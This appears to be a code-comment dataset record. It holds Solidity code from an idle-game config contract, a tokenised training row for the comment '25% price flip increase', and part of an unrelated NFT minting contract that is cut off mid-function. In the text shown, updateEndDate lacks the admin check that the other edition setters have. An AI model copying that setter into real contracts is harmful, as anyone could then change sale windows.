// Requires ALL rare stats match up or fail execution
(startId, endId) = schema.rareIdRange();
while (startId <= endId) {
uint256 oldClass;
uint256 oldUnitId;
uint256 oldValue;
uint256 newClass;
uint256 newUnitId;
uint256 newValue;
(oldClass, oldUnitId, oldValue) = schema.getRareInfo(startId);
(newClass, newUnitId, newValue) = newSchema.getRareInfo(startId);
require(oldClass == newClass);
require(oldUnitId == newUnitId);
require(oldValue == newValue);
startId++;
}
}
}
contract GooGameConfig {
mapping(uint256 => Unit) private unitInfo;
mapping(uint256 => Upgrade) private upgradeInfo;
mapping(uint256 => Rare) private rareInfo;
uint256 public constant currentNumberOfUnits = 15;
uint256 public constant currentNumberOfUpgrades = 210;
uint256 public constant currentNumberOfRares = 2;
address public owner;
struct Unit {
uint256 unitId;
uint256 baseGooCost;
uint256 gooCostIncreaseHalf; // Halfed to make maths slightly less (cancels a 2 out)
uint256 ethCost;
uint256 baseGooProduction;
uint256 attackValue;
uint256 defenseValue;
uint256 gooStealingCapacity;
bool unitSellable; // Rare units (from raffle) not sellable
}
struct Upgrade {
uint256 upgradeId;
uint256 gooCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 unitId;
uint256 upgradeValue;
uint256 prerequisiteUpgrade;
}
struct Rare {
uint256 rareId;
uint256 ethCost;
uint256 rareClass;
uint256 unitId;
uint256 rareValue;
}
function GooGameConfig() public {
owner = msg.sender;
rareInfo[1] = Rare(1, 0.5 ether, 1, 1, 40); // 40 = +400%
rareInfo[2] = Rare(2, 0.5 ether, 0, 2, 35); // +35
unitInfo[1] = Unit(1, 0, 10, 0, 2, 0, 0, 0, true);
unitInfo[2] = Unit(2, 100, 50, 0, 5, 0, 0, 0, true);
unitInfo[3] = Unit(3, 0, 0, 0.01 ether, 100, 0, 0, 0, true);
unitInfo[4] = Unit(4, 200, 100, 0, 10, 0, 0, 0, true);
unitInfo[5] = Unit(5, 500, 250, 0, 20, 0, 0, 0, true);
unitInfo[6] = Unit(6, 1000, 500, 0, 40, 0, 0, 0, true);
unitInfo[7] = Unit(7, 0, 1000, 0.05 ether, 500, 0, 0, 0, true);
unitInfo[8] = Unit(8, 1500, 750, 0, 60, 0, 0, 0, true);
unitInfo[9] = Unit(9, 0, 0, 10 ether, 6000, 0, 0, 0, false); // First secret rare unit from raffle (unsellable)
unitInfo[40] = Unit(40, 50, 25, 0, 0, 10, 10, 10000, true);
unitInfo[41] = Unit(41, 100, 50, 0, 0, 1, 25, 500, true);
unitInfo[42] = Unit(42, 0, 0, 0.01 ether, 0, 200, 10, 50000, true);
unitInfo[43] = Unit(43, 250, 125, 0, 0, 25, 1, 15000, true);
unitInfo[44] = Unit(44, 500, 250, 0, 0, 20, 40, 5000, true);
unitInfo[45] = Unit(45, 0, 2500, 0.02 ether, 0, 0, 0, 100000, true);
}
address allowedConfig;
function setConfigSetupContract(address schema) external {
require(msg.sender == owner);
allowedConfig = schema;
}
function addUpgrade(uint256 id, uint256 goo, uint256 eth, uint256 class, uint256 unit, uint256 value, uint256 prereq) external {
require(msg.sender == allowedConfig);
upgradeInfo[id] = Upgrade(id, goo, eth, class, unit, value, prereq);
}
function getGooCostForUnit(uint256 unitId, uint256 existing, uint256 amount) public constant returns (uint256) {
Unit storage unit = unitInfo[unitId];
if (amount == 1) { // 1
if (existing == 0) {
return unit.baseGooCost;
} else {
return unit.baseGooCost + (existing * unit.gooCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) { // Gated by unit limit
existingCost = (unit.baseGooCost * existing) + (existing * (existing - 1) * unit.gooCostIncreaseHalf);
}
existing = SafeMath.add(existing, amount);
return SafeMath.add(SafeMath.mul(unit.baseGooCost, existing), SafeMath.mul(SafeMath.mul(existing, (existing - 1)), unit.gooCostIncreaseHalf)) - existingCost;
}
}
function getWeakenedDefensePower(uint256 defendingPower) external constant returns (uint256) {
return defendingPower / 2;
}
function validRareId(uint256 rareId) external constant returns (bool) {
return (rareId > 0 && rareId < 3);
}
function unitSellable(uint256 unitId) external constant returns (bool) {
return unitInfo[unitId].unitSellable;
}
function unitEthCost(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].ethCost;
}
function unitGooProduction(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].baseGooProduction;
}
function unitAttack(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].attackValue;
}
function unitDefense(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].defenseValue;
}
function unitStealingCapacity(uint256 unitId) external constant returns (uint256) {
return unitInfo[unitId].gooStealingCapacity;
}
function rareStartPrice(uint256 rareId) external constant returns (uint256) {
return rareInfo[rareId].ethCost;
}
function upgradeGooCost(uint256 upgradeId) external constant returns (uint256) {
return upgradeInfo[upgradeId].gooCost;
}
function upgradeEthCost(uint256 upgradeId) external constant returns (uint256) {
return upgradeInfo[upgradeId].ethCost;
}
function upgradeClass(uint256 upgradeId) external constant returns (uint256) {
return upgradeInfo[upgradeId].upgradeClass;
}
function upgradeUnitId(uint256 upgradeId) external constant returns (uint256) {
return upgradeInfo[upgradeId].unitId;
}
function upgradeValue(uint256 upgradeId) external constant returns (uint256) {
return upgradeInfo[upgradeId].upgradeValue;
}
function productionUnitIdRange() external constant returns (uint256, uint256) {
return (1, 9);
}
function battleUnitIdRange() external constant returns (uint256, uint256) {
return (40, 45);
}
function upgradeIdRange() external constant returns (uint256, uint256) {
return (1, 210);
}
function rareIdRange() external constant returns (uint256, uint256) {
return (1, 2);
}
function getUpgradeInfo(uint256 upgradeId) external constant returns (uint256, uint256, uint256, uint256, uint256, uint256) {
return (upgradeInfo[upgradeId].gooCost, upgradeInfo[upgradeId].ethCost, upgradeInfo[upgradeId].upgradeClass,
upgradeInfo[upgradeId].unitId, upgradeInfo[upgradeId].upgradeValue, upgradeInfo[upgradeId].prerequisiteUpgrade);
}
function getRareInfo(uint256 rareId) external constant returns (uint256, uint256, uint256) {
return (rareInfo[rareId].rareClass, rareInfo[rareId].unitId, rareInfo[rareId].rareValue);
}
function getUnitInfo(uint256 unitId, uint256 existing, uint256 amount) external constant returns (uint256, uint256, uint256, uint256) {
return (unitInfo[unitId].unitId, unitInfo[unitId].baseGooProduction, getGooCostForUnit(unitId, existing, amount), SafeMath.mul(unitInfo[unitId].ethCost, amount));
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 25% price flip increase
| rareItemPrice[rareId] = (ethCost * 5) / 4; | 1,496,684 | [
1,
2947,
9,
6205,
9668,
10929,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
25671,
1180,
5147,
63,
354,
266,
548,
65,
273,
261,
546,
8018,
380,
1381,
13,
342,
1059,
31,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: BUSL-1.1
pragma solidity ^0.6.12;
//
// _░▒███████
// ░██▓▒░░▒▓██
// ██▓▒░__░▒▓██___██████
// ██▓▒░____░▓███▓__░▒▓██
// ██▓▒░___░▓██▓_____░▒▓██
// ██▓▒░_______________░▒▓██
// _██▓▒░______________░▒▓██
// __██▓▒░____________░▒▓██
// ___██▓▒░__________░▒▓██
// ____██▓▒░________░▒▓██
// _____██▓▒░_____░▒▓██
// ██░▀██████████████▀░██_██▓▒░__░▒▓██
// █▌▒▒░████████████░▒▒▐█__█▓▒░░▒▓██
// █░▒▒▒░██████████░▒▒▒░█____░▒▓██
// ▌░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░▐__░▒▓██
// ░▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒░░▒▓██
// ███▀▀▀██▄▒▒▒▒▒▒▒▄██▀▀▀██
// ██░░░▐█░▀█▒▒▒▒▒█▀░█▌░░░█
// ▐▌░░░▐▄▌░▐▌▒▒▒▐▌░▐▄▌░░▐▌
// █░░░▐█▌░░▌▒▒▒▐░░▐█▌░░█
// ▒▀▄▄▄█▄▄▄▌░▄░▐▄▄▄█▄▄▀▒
// ░░░░░░░░░░└┴┘░░░░░░░░░
// ██▄▄░░░░░░░░░░░░░░▄▄██
// ████████▒▒▒▒▒▒████████
// █▀░░███▒▒░░▒░░▒▀██████
// █▒░███▒▒╖░░╥░░╓▒▐█████
// █▒░▀▀▀░░║░░║░░║░░█████
// ██▄▄▄▄▀▀┴┴╚╧╧╝╧╧╝┴┴███
// ██████████████████████
//
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
// ERC721
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/utils/Pausable.sol";
import "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
// ERC20
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
// For safe maths operations
import "@openzeppelin/contracts/math/SafeMath.sol";
// Utils only
import "./StringsUtil.sol";
interface IERC20Burnable {
function burn(uint256 amount) external;
function burnFrom(address account, uint256 amount) external;
function burnAmount() external view returns (uint256 _amount);
}
/**
* @title NotRealDigitalAsset - V2
*
* http://www.notreal.ai/
*
* ERC721 compliant digital assets for real-world artwork.
*
* Base NFT Issuance Contract
*
* AMPLIFY ART.
*
*/
contract NotRealDigitalAssetV2 is
AccessControl,
Ownable,
ERC721,
Pausable,
ReentrancyGuard
{
bytes32 public constant ROLE_NOT_REAL = keccak256('ROLE_NOT_REAL');
bytes32 public constant ROLE_MINTER = keccak256('ROLE_MINTER');
bytes32 public constant ROLE_MARKET = keccak256('ROLE_MARKET');
///////////////
// Modifiers //
///////////////
// Modifiers are wrapped around functions because it shaves off contract size
modifier onlyAvailableEdition(uint256 _editionNumber, uint256 _numTokens) {
_onlyAvailableEdition(_editionNumber, _numTokens);
_;
}
modifier onlyActiveEdition(uint256 _editionNumber) {
_onlyActiveEdition(_editionNumber);
_;
}
modifier onlyRealEdition(uint256 _editionNumber) {
_onlyRealEdition(_editionNumber);
_;
}
modifier onlyValidTokenId(uint256 _tokenId) {
_onlyValidTokenId(_tokenId);
_;
}
modifier onlyPurchaseDuringWindow(uint256 _editionNumber) {
_onlyPurchaseDuringWindow(_editionNumber);
_;
}
function _onlyAvailableEdition(uint256 _editionNumber, uint256 _numTokens) internal view {
require(editionNumberToEditionDetails[_editionNumber].totalSupply.add(_numTokens) <= editionNumberToEditionDetails[_editionNumber].totalAvailable);
}
function _onlyActiveEdition(uint256 _editionNumber) internal view {
require(editionNumberToEditionDetails[_editionNumber].active);
}
function _onlyRealEdition(uint256 _editionNumber) internal view {
require(editionNumberToEditionDetails[_editionNumber].editionNumber > 0);
}
function _onlyValidTokenId(uint256 _tokenId) internal view {
require(_exists(_tokenId));
}
function _onlyPurchaseDuringWindow(uint256 _editionNumber) internal view {
require(editionNumberToEditionDetails[_editionNumber].startDate <= block.timestamp);
require(editionNumberToEditionDetails[_editionNumber].endDate >= block.timestamp);
}
modifier onlyIfNotReal() {
_onlyIfNotReal();
_;
}
modifier onlyIfMinter() {
_onlyIfMinter();
_;
}
function _onlyIfNotReal() internal view {
require(_msgSender() == owner() || hasRole(ROLE_NOT_REAL, _msgSender()));
}
function _onlyIfMinter() internal view {
require(_msgSender() == owner() || hasRole(ROLE_NOT_REAL, _msgSender()) || hasRole(ROLE_MINTER, _msgSender()));
}
using SafeMath for uint256;
using SafeERC20 for IERC20;
////////////
// Events //
////////////
// Emitted on purchases from within this contract
event Purchase(
uint256 indexed _tokenId,
uint256 indexed _editionNumber,
address indexed _buyer,
uint256 _priceInWei,
uint256 _numTokens
);
// Emitted on every mint
event Minted(
uint256 indexed _tokenId,
uint256 indexed _editionNumber,
address indexed _buyer,
uint256 _numTokens
);
// Emitted on every edition created
event EditionCreated(
uint256 indexed _editionNumber,
bytes32 indexed _editionData,
uint256 indexed _editionType
);
event NameChange(uint256 indexed _tokenId, string _newName);
////////////////
// Properties //
////////////////
uint256 constant internal MAX_UINT32 = ~uint32(0);
string public tokenBaseURI = "https://ipfs.infura.io/ipfs/";
// simple counter to keep track of the highest edition number used
uint256 public highestEditionNumber;
// number of assets minted of any type
uint256 public totalNumberMinted;
// number of assets minted of any type
uint256 public totalPurchaseValueInWei;
// number of assets available of any type
uint256 public totalNumberAvailable;
// Max number of tokens that can be minted/purchased in a batch
uint256 public maxBatch = 100;
uint256 public maxGas = 100000000000;
// the NR account which can receive commission
address public nrCommissionAccount;
// Accepted ERC20 token
IERC20 public acceptedToken;
IERC20Burnable public nameToken;
// Optional commission split can be defined per edition
mapping(uint256 => CommissionSplit) internal editionNumberToOptionalCommissionSplit;
// Simple structure providing an optional commission split per edition purchase
struct CommissionSplit {
uint256 rate;
address recipient;
}
// Object for edition details
struct EditionDetails {
// Identifiers
uint256 editionNumber; // the range e.g. 10000
bytes32 editionData; // some data about the edition
uint256 editionType; // e.g. 1 = NRDA, 4 = Deactivated
// Config
uint256 startDate; // date when the edition goes on sale
uint256 endDate; // date when the edition is available until
address artistAccount; // artists account
uint256 artistCommission; // base artists commission, could be overridden by external contracts
uint256 priceInWei; // base price for edition, could be overridden by external contracts
string tokenURI; // IPFS hash - see base URI
bool active; // Root control - on/off for the edition
// Counters
uint256 totalSupply; // Total purchases or mints
uint256 totalAvailable; // Total number available to be purchased
}
// _editionNumber : EditionDetails
mapping(uint256 => EditionDetails) internal editionNumberToEditionDetails;
// _tokenId : _editionNumber
mapping(uint256 => uint256) internal tokenIdToEditionNumber;
// _editionNumber : [_tokenId, _tokenId]
mapping(uint256 => uint256[]) internal editionNumberToTokenIds;
mapping(uint256 => uint256[]) internal editionNumberToBurnedTokenIds;
// _artistAccount : [_editionNumber, _editionNumber]
mapping(address => uint256[]) internal artistToEditionNumbers;
mapping(uint256 => uint256) internal editionNumberToArtistIndex;
// _editionType : [_editionNumber, _editionNumber]
mapping(uint256 => uint256[]) internal editionTypeToEditionNumber;
mapping(uint256 => uint256) internal editionNumberToTypeIndex;
mapping (uint256 => string) public tokenName;
mapping (string => bool) internal reservedName;
/*
* Constructor
*/
constructor (IERC20 _acceptedToken) public payable ERC721("NotRealDigitalAsset", "NRDA") {
// set commission account to contract creator
nrCommissionAccount = _msgSender();
acceptedToken = _acceptedToken;
_setupRole(DEFAULT_ADMIN_ROLE, _msgSender());
_setBaseURI(tokenBaseURI);
}
// Function wrapper for using native Ether or ERC20
function _acceptedTokenSafeTransferFrom(address _from, address _to, uint256 _msgValue) internal {
require(tx.gasprice <= maxGas, "Gas price too high");
if(address(acceptedToken) == address(0)) {
require(msg.value == _msgValue);
require(_from == _msgSender());
require(_to == address(this));
} else {
acceptedToken.safeTransferFrom(_from, _to, _msgValue);
}
}
function _acceptedTokenSafeTransfer(address _to, uint256 _msgValue) internal {
if(address(acceptedToken) == address(0)) {
payable(_to).transfer(_msgValue);
} else {
acceptedToken.safeTransfer(_to, _msgValue);
}
}
function pause() public onlyIfNotReal {
_pause();
}
function unpause() public onlyIfNotReal {
_unpause();
}
function setNameToken(address _nameToken) external onlyOwner {
nameToken = IERC20Burnable(_nameToken);
}
// Spend name tokens to give this ERC721 a unique name
function changeName(uint256 _tokenId, string memory _newName) public onlyValidTokenId(_tokenId) {
string memory _newNameLower = StringsUtil.toLower(_newName);
require(_msgSender() == ownerOf(_tokenId), "ERC721: caller is not the owner");
require(StringsUtil.validateName(_newName), "Not a valid new name");
require(!reservedName[_newNameLower], "Name already reserved");
reservedName[StringsUtil.toLower(tokenName[_tokenId])] = false;
reservedName[_newNameLower] = true;
nameToken.burnFrom(_msgSender(), nameToken.burnAmount());
tokenName[_tokenId] = _newName;
emit NameChange(_tokenId, _newName);
}
function mint(address _to, uint256 _editionNumber)
public
onlyIfMinter
returns (uint256) {
return mintMany(_to, _editionNumber, 1);
}
/**
* @dev Private (NR only) method for minting editions
* @dev Payment not needed for this method
*/
function mintMany(address _to, uint256 _editionNumber, uint256 _numTokens)
public
onlyIfMinter
onlyRealEdition(_editionNumber)
onlyAvailableEdition(_editionNumber, _numTokens)
returns (uint256) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
uint256 _tokenId = _editionDetails.editionNumber.add(_editionDetails.totalSupply).add(1);
for (uint256 i = 0; i < _numTokens; i++) {
// Construct next token ID e.g. 100000 + 1 = ID of 100001 (this first in the edition set)
// Create the token
_mintToken(_to, _tokenId.add(i), _editionNumber, _editionDetails.tokenURI);
}
totalNumberMinted = totalNumberMinted.add(_numTokens);
_editionDetails.totalSupply = _editionDetails.totalSupply.add(_numTokens);
// Emit minted event
emit Minted(_tokenId, _editionNumber, _to, _numTokens);
return _tokenId;
}
/**
* @dev Internal factory method for building editions
*/
function createEdition(
uint256 _editionNumber,
bytes32 _editionData,
uint256 _editionType,
uint256 _startDate,
uint256 _endDate,
address _artistAccount,
uint256 _artistCommission,
uint256 _priceInWei,
string memory _tokenURI,
uint256 _totalAvailable,
bool _active
)
public
onlyIfNotReal
returns (bool)
{
// Prevent missing edition number
require(_editionNumber != 0);
// Prevent edition number lower than last one used
require(_editionNumber > highestEditionNumber);
// Check previously edition plus total available is less than new edition number
require(highestEditionNumber.add(editionNumberToEditionDetails[highestEditionNumber].totalAvailable) < _editionNumber);
// Prevent missing types
require(_editionType != 0);
// Prevent missing token URI
require(bytes(_tokenURI).length != 0);
// Prevent empty artists address
require(_artistAccount != address(0));
// Prevent invalid commissions
require(_artistCommission <= 100 && _artistCommission >= 0);
// Prevent duplicate editions
require(editionNumberToEditionDetails[_editionNumber].editionNumber == 0);
// Default end date to max uint256
uint256 endDate = _endDate;
if (_endDate == 0) {
endDate = MAX_UINT32;
}
editionNumberToEditionDetails[_editionNumber] = EditionDetails({
editionNumber : _editionNumber,
editionData : _editionData,
editionType : _editionType,
startDate : _startDate,
endDate : endDate,
artistAccount : _artistAccount,
artistCommission : _artistCommission,
priceInWei : _priceInWei,
tokenURI : StringsUtil.strConcat(_tokenURI, "/"),
totalSupply : 0, // default to all available
totalAvailable : _totalAvailable,
active : _active
});
// Add to total available count
totalNumberAvailable = totalNumberAvailable.add(_totalAvailable);
// Update mappings
_updateArtistLookupData(_artistAccount, _editionNumber);
_updateEditionTypeLookupData(_editionType, _editionNumber);
emit EditionCreated(_editionNumber, _editionData, _editionType);
// Update the edition pointer if needs be
highestEditionNumber = _editionNumber;
return true;
}
function _updateEditionTypeLookupData(uint256 _editionType, uint256 _editionNumber) internal {
uint256 typeEditionIndex = editionTypeToEditionNumber[_editionType].length;
editionTypeToEditionNumber[_editionType].push(_editionNumber);
editionNumberToTypeIndex[_editionNumber] = typeEditionIndex;
}
function _updateArtistLookupData(address _artistAccount, uint256 _editionNumber) internal {
uint256 artistEditionIndex = artistToEditionNumbers[_artistAccount].length;
artistToEditionNumbers[_artistAccount].push(_editionNumber);
editionNumberToArtistIndex[_editionNumber] = artistEditionIndex;
}
///**
// * @dev Public entry point for purchasing an edition on behalf of someone else
// * @dev Reverts if edition is invalid
// * @dev Reverts if payment not provided in full
// * @dev Reverts if edition is sold out
// * @dev Reverts if edition is not active or available
// */
function purchaseMany(address _to, uint256 _editionNumber, uint256 _numTokens, uint256 _msgValue)
public
payable
whenNotPaused
nonReentrant
onlyRealEdition(_editionNumber)
onlyActiveEdition(_editionNumber)
onlyAvailableEdition(_editionNumber, _numTokens)
onlyPurchaseDuringWindow(_editionNumber)
returns (uint256) {
require(_numTokens <= maxBatch && _numTokens >= 1);
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
require(_msgValue >= _editionDetails.priceInWei.mul(_numTokens));
_acceptedTokenSafeTransferFrom(_msgSender(), address(this), _msgValue);
uint256 _tokenId = _editionDetails.editionNumber.add(_editionDetails.totalSupply).add(1);
for (uint256 i = 0; i < _numTokens; i++) {
// Transfer token to this contract
// Construct next token ID e.g. 100000 + 1 = ID of 100001 (this first in the edition set)
// Create the token
_mintToken(_to, _tokenId.add(i), _editionNumber, _editionDetails.tokenURI);
}
totalNumberMinted = totalNumberMinted.add(_numTokens);
_editionDetails.totalSupply = _editionDetails.totalSupply.add(_numTokens);
// Splice funds and handle commissions
_handleFunds(_editionNumber, _msgValue, _editionDetails.artistAccount, _editionDetails.artistCommission);
// Emit minted event
emit Minted(_tokenId, _editionNumber, _to, _numTokens);
// Broadcast purchase
emit Purchase(_tokenId, _editionNumber, _to, _editionDetails.priceInWei, _numTokens);
return _tokenId;
}
function _nextTokenId(uint256 _editionNumber) internal returns (uint256) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
// Bump number totalSupply
_editionDetails.totalSupply = _editionDetails.totalSupply.add(1);
// Construct next token ID e.g. 100000 + 1 = ID of 100001 (this first in the edition set)
return _editionDetails.editionNumber.add(_editionDetails.totalSupply);
}
function _mintToken(address _to, uint256 _tokenId, uint256 _editionNumber, string memory _tokenURI) internal {
// Mint new base token
super._mint(_to, _tokenId);
super._setTokenURI(_tokenId, StringsUtil.strConcat(_tokenURI, StringsUtil.uint2str(_tokenId)));
// Maintain mapping for tokenId to edition for lookup
tokenIdToEditionNumber[_tokenId] = _editionNumber;
// Maintain mapping of edition to token array for "edition minted tokens"
editionNumberToTokenIds[_editionNumber].push(_tokenId);
}
function _handleFunds(uint256 _editionNumber, uint256 _priceInWei, address _artistAccount, uint256 _artistCommission) internal {
// Extract the artists commission and send it
uint256 artistPayment = _priceInWei.div(100).mul(_artistCommission);
if (artistPayment > 0) {
_acceptedTokenSafeTransfer(_artistAccount, artistPayment);
}
// Load any commission overrides
CommissionSplit storage commission = editionNumberToOptionalCommissionSplit[_editionNumber];
// Apply optional commission structure
uint256 rateSplit = 0;
if (commission.rate > 0) {
rateSplit = _priceInWei.div(100).mul(commission.rate);
_acceptedTokenSafeTransfer(commission.recipient, rateSplit);
}
// Send remaining eth to NR
uint256 remainingCommission = _priceInWei.sub(artistPayment).sub(rateSplit);
_acceptedTokenSafeTransfer(nrCommissionAccount, remainingCommission);
// Record wei sale value
totalPurchaseValueInWei = totalPurchaseValueInWei.add(_priceInWei);
}
/**
* @dev Private (NR only) method for burning tokens which have been created incorrectly
*/
function burn(uint256 _tokenId) external onlyIfNotReal {
// Clear from parents
super._burn(_tokenId);
// Get hold of the edition for cleanup
uint256 _editionNumber = tokenIdToEditionNumber[_tokenId];
// Delete token ID mapping
delete tokenIdToEditionNumber[_tokenId];
editionNumberToBurnedTokenIds[_editionNumber].push(_tokenId);
}
//////////////////
// Base Updates //
//////////////////
//
function updateTokenBaseURI(string calldata _newBaseURI)
external
onlyIfNotReal {
require(bytes(_newBaseURI).length != 0);
tokenBaseURI = _newBaseURI;
}
function updateNrCommissionAccount(address _nrCommissionAccount)
external
onlyIfNotReal {
require(_nrCommissionAccount != address(0));
nrCommissionAccount = _nrCommissionAccount;
}
function updateMaxBatch(uint256 _maxBatch)
external
onlyIfNotReal {
maxBatch = _maxBatch;
}
function updateMaxGas(uint256 _maxGas)
external
onlyIfNotReal {
maxGas = _maxGas;
}
/////////////////////
// Edition Updates //
/////////////////////
function updateEditionTokenURI(uint256 _editionNumber, string calldata _uri)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
editionNumberToEditionDetails[_editionNumber].tokenURI = StringsUtil.strConcat(_uri, "/");
}
function updatePriceInWei(uint256 _editionNumber, uint256 _priceInWei)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
editionNumberToEditionDetails[_editionNumber].priceInWei = _priceInWei;
}
function updateArtistCommission(uint256 _editionNumber, uint256 _rate)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
editionNumberToEditionDetails[_editionNumber].artistCommission = _rate;
}
function updateEditionType(uint256 _editionNumber, uint256 _editionType)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
EditionDetails storage _originalEditionDetails = editionNumberToEditionDetails[_editionNumber];
// Get list of editions for old type
uint256[] storage editionNumbersForType = editionTypeToEditionNumber[_originalEditionDetails.editionType];
// Remove edition from old type list
uint256 editionTypeIndex = editionNumberToTypeIndex[_editionNumber];
delete editionNumbersForType[editionTypeIndex];
// Add new type to the list
uint256 newTypeEditionIndex = editionTypeToEditionNumber[_editionType].length;
editionTypeToEditionNumber[_editionType].push(_editionNumber);
editionNumberToTypeIndex[_editionNumber] = newTypeEditionIndex;
// Update the edition
_originalEditionDetails.editionType = _editionType;
}
function updateTotalSupply(uint256 _editionNumber, uint256 _totalSupply)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
require(editionNumberToTokenIds[_editionNumber].length <= _totalSupply);
editionNumberToEditionDetails[_editionNumber].totalSupply = _totalSupply;
}
function updateTotalAvailable(uint256 _editionNumber, uint256 _totalAvailable)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
EditionDetails storage _editionDetails = editionNumberToEditionDetails[_editionNumber];
require(_editionDetails.totalSupply <= _totalAvailable);
uint256 originalAvailability = _editionDetails.totalAvailable;
_editionDetails.totalAvailable = _totalAvailable;
totalNumberAvailable = totalNumberAvailable.sub(originalAvailability).add(_totalAvailable);
}
function updateActive(uint256 _editionNumber, bool _active)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
editionNumberToEditionDetails[_editionNumber].active = _active;
}
function updateStartDate(uint256 _editionNumber, uint256 _startDate)
external
onlyIfNotReal
onlyRealEdition(_editionNumber) {
editionNumberToEditionDetails[_editionNumber].startDate = _startDate;
}
function updateEndDate(uint256 _editionNumber, uint256 _endDate)
external
onlyRealEdition(_editionNumber) {
